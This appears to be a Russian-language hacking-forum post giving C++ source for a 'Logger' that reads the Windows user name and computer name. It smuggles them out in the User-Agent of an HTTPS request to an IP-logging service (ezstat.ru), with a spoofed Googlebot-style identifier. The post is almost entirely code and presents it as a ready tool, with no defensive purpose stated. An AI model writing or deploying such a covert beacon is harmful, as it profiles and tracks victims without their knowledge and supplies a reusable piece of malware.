r3xq1
Проверенный
Проверенный

r3xq1
Проверенный
Проверенный
- Сообщения
- 53
- Реакции
- 29
Создаём класс Logger.cpp и запишем в него данный код:
C++:
#include <iostream>
#include <string>
#include <windows.h>
#include <WinInet.h>
#include <Lmcons.h> // для UNLEN
#pragma comment (lib, "Wininet.lib")
// разделение ссылки
void split_link(std::string l, std::string& server, std::string& target)
{
int n = l.find("/");
std::string str = l.substr(0, n);
server = str;
if (n == l.size()) target = server;
else {
str = l.substr(n + 1, l.size());
target = str;
}
}
#define UNLEN 256 // Размер буфера
// получения имени пользователя
std::string GetUser()
{
char buffer[UNLEN + 1];
DWORD size;
size = sizeof(buffer);
if (GetUserNameA(buffer, &size) == 0)
{
return "Unknown UserName ";
}
return buffer;
}
// Получение имени машины пользователя
std::string GetMachine()
{
char buffer[UNLEN + 1];
DWORD size;
size = sizeof(buffer);
if (GetComputerNameA(buffer, &size) == 0)
{
return "Unknown ComputerName ";
}
return buffer;
}
// StringBuilder лог
std::string Log()
{
std::string s = GetUser() + " | ";
s.append(GetMachine());
return s;
}
std::string Send(std::string l)
{
std::string server, target;
split_link(l, server, target);
LPCSTR Identifier = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36"; // Идентификатор
HINTERNET hInternet = InternetOpenA(Log().c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternet != NULL) {
HINTERNET hConnect = InternetConnectA(hInternet, server.c_str(), INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1u);
if (hConnect != NULL)
{
HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", target.c_str(), NULL, NULL, NULL, INTERNET_FLAG_SECURE | INTERNET_FLAG_KEEP_CONNECTION, 1);
if (hRequest != NULL)
{
HttpSendRequest(hRequest, NULL, 0, NULL, 0);
InternetCloseHandle(hRequest);
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternet);
}
return "";
}
int main()
{
// setlocale(LC_ALL, "");
Send("ezstat.ru/12345"); // без https://
}